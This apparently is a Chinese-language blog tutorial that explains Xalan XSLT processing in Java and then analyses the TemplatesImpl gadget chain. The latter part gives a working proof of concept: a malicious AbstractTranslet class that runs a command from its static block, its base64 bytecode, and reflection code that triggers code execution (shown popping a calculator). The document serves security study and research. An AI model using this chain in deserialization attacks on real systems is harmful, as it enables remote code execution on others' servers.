Xalan
是 Java 中用于操作 XML 的一个库,它是 Apache XML 项目的一部分,主要用于将 XSLT(Extensible Stylesheet Language Transformations)转换为可执行代码,从而实现XML文档的转换。
XSLT 的理解
当然了, 我们先理解该模块如何使用之后, 我们再研究它的妙用, XSLT
说白了就是将 XML
+ XSL
文件解析为HTML
文件, 具体如何理解呢, 我们定义如下代码:
XML 文件内容如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?> <!-- 引用 1.xsl 文件 -->
<users> <!-- 定义 users, 其中存放一些信息内容 --><info><username>heihu577</username> <!-- heihu577 用户定义 --><age>12</age></info><info><username>hacker01</username> <!-- hacker01 用户定义 --><age>13</age></info></users>
对于XML的解释我们就不多说了, 是一种存储数据的方式
。
XSL 文件内容如下:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- XSL 文件必须引用的头部内容 -->
<xsl:template match="/"> <!-- 定义一个模板文件 --><html> <!-- 放入你的 HTML 文档内容 --><body><h2>My XSL Tester</h2><table border="1"><tr bgcolor="#9acd32"><th>username</th><th>age</th></tr><xsl:for-each select="users/info"> <!-- 从 XML 文件中遍历 users/info 中的内容 --><tr><td><xsl:value-of select="username"/></td> <!-- 将 users/info/username 值放入到 td 标签中 --><td><xsl:value-of select="age"/></td> <!-- 将 users/info/age 值放入到 td 标签中 --></tr></xsl:for-each></table></body></html></xsl:template></xsl:stylesheet>
总的来说存在一个引用关系, 关系图如下:
从图中可以看到, 1.xml
用来定义数据信息, 1.xsl
用来定义 HTML 模板并引用 1.xml
中的数据信息, 最终生成 result.html
。
其中1.xml + 1.xsl ⏩ result.html生成的 Java 代码如下:
public class Main {public static void main(String[] args) throws ClassNotFoundException, IOException,InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException {TransformerFactory transformerFactory = new TransformerFactoryImpl(); // 得到工厂类ClassLoader appClassLoader = ClassLoader.getSystemClassLoader(); // 得到 ClassLoader, 方便得到 resources 目录下的文件流Transformer transformer =transformerFactory.newTransformer(new StreamSource(appClassLoader.getResourceAsStream("1.xsl"))); // 得到转换器, 传入 XSL 文件/*@Overridepublic Transformer newTransformer(Source source) throws // transformerFactory.newTransformer 方法原型TransformerConfigurationException{final Templates templates = newTemplates(source); // 注意这里应用到了 Templates 类final Transformer transformer = templates.newTransformer();if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}return(transformer);}*/transformer.transform(new StreamSource(appClassLoader.getResourceAsStream("1.xml")), // 传入 1.xml 文件, 读取数据信息new StreamResult(new File(appClassLoader.getResource(".").getPath(), "result.html")) // 生成 result.html 文件内容);}
}
TemplatesImpl 类攻击链
在上述代码中我们对transformerFactory.newTransformer
方法增加了注释, 我们要重点关注final Templates templates = newTemplates(source);
中的Templates
到底是什么, 该类型是个接口类型, 定义如下:
public interface Templates {Transformer newTransformer() throws TransformerConfigurationException;Properties getOutputProperties();
}
被TemplatesImpl
类所实现, 如下:
public final class TemplatesImpl implements Templates, Serializable {static final class TransletClassLoader extends ClassLoader {private final Map<String,Class> _loadedExternalExtensionFunctions;TransletClassLoader(ClassLoader parent) {super(parent);_loadedExternalExtensionFunctions = null;}TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {super(parent);_loadedExternalExtensionFunctions = mapEF;}public Class<?> loadClass(String name) throws ClassNotFoundException {Class<?> ret = null;if (_loadedExternalExtensionFunctions != null) {ret = _loadedExternalExtensionFunctions.get(name);}if (ret == null) {ret = super.loadClass(name);}return ret;}Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length);}}//... 其他定义
}
比较有趣的是, 该类其中定义了TransletClassLoader
, 并重写了loadClass
方法, 如果_loadedExternalExtensionFunctions
这个Map中存在我们已经定义的Class
, 那么直接返回。
defineClass
方法直接调用了父类的defineClass
方法, 那么谁使用了该类加载器进行加载呢?
如图:
可以看到的是, defineTransletClasses
方法中调用了defineClass
方法, 其值是我们的_bytecodes
中的字节码信息, 也就是说当我们的_bytecodes
值可控时就可以进行加载恶意字节码信息. 这里我们可以在本地利用反射进行学习这个类的使用.
紧接着注意我们图中398~399行
中笔者折叠部分的内容:
所以这里_tfactory
的值必须为TransformerFactoryImpl
类才可以保证代码的正常运行, 否则到这里会抛出一个空指针异常.
以及注意图中的410 && 422行
中对_auxClasses
成员属性的操作:
这里如果程序运行时_bytecodes.length
返回了1, 而实际运行的类并没有继承ABSTRACT_TRANSLET (AbstractTranslet)
, 则会进入到下面的else
分支, _auxClasses
将不会初始化, 也会爆出一个空指针异常.
所以如果我们的恶意类
没有继承AbstractTranslet
的话我们需要提前对_auxClasses
进行初始化操作. 因为恶意类是我们自己编写的, 最好还是遵循这个代码的走向流程, 所以这里要特别注意的是_transletIndex
变量的值.
我们的恶意类
必须要进行继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
就可以进入if分支, 这样我们就不会遇到_auxClasses
的空指针报错了.
回到loader.loadClass
点, 在我们之前学习自定义ClassLoader
中有了解到, 我们必须在调用defineClass
后调用newInstance()
生成实例才可以进入到该类的无参构造|static代码块
, 而谁又调用了defineTransletClasses
得到clazz对象后调用了newInstance()
?
getTransletInstance
方法调用了defineTransletClasses
方法后进行了newInstance()
操作, 用来实例化defineTransletClasses
中加载的类. 可以看到我们这里_name
不能为null
, 否则就不会往下执行.
在newTransformer方法中调用了getTransletInstance方法, 这里已经是一个可以利用的完整链路了。 当然还有调用newTransformer方法的口:
调用流程图
为了清楚它们之间的逻辑, 笔者在这里放出总结图, 以便梳理调用关系:
本地利用该 ClassLoader
准备恶意类:
package com;import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Encoder;import java.io.IOException;
import java.util.Base64;/*** Author: HeiHu577* Date: 2024/9/4 16:28* Description:*/
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {static {try {Process exec = Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}public static void main(String[] args) {byte[] encode = Base64.getEncoder().encode(Repository.lookupClass(CMD.class).getBytes());System.out.print(new String(encode)); // yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
生成Payload成功后, 我们本地通过反射依次修改变量来进行RCE测试:
package com.heihu577;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.Properties;public class Main {public static void main(String[] args) throws ClassNotFoundException, IOException,InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException,NoSuchFieldException {TemplatesImpl templates = new TemplatesImpl();Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");Field name = templates.getClass().getDeclaredField("_name");Field tfactory = templates.getClass().getDeclaredField("_tfactory");name.setAccessible(true);tfactory.setAccessible(true);bytecodes.setAccessible(true);byte[][] myBytes = new byte[1][];myBytes[0] =new BASE64Decoder().decodeBuffer("yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=");bytecodes.set(templates, myBytes);name.set(templates, "");tfactory.set(templates, new TransformerFactoryImpl());Transformer transformer = templates.newTransformer();}
}
运行会弹出计算器.
FastJson 反序列化中的应用
这一部分知识会在FastJson反序列化 && 一些反序列化链路
中所使用, 这里就先不提及了, 后续介绍反序列化时再重新拿起.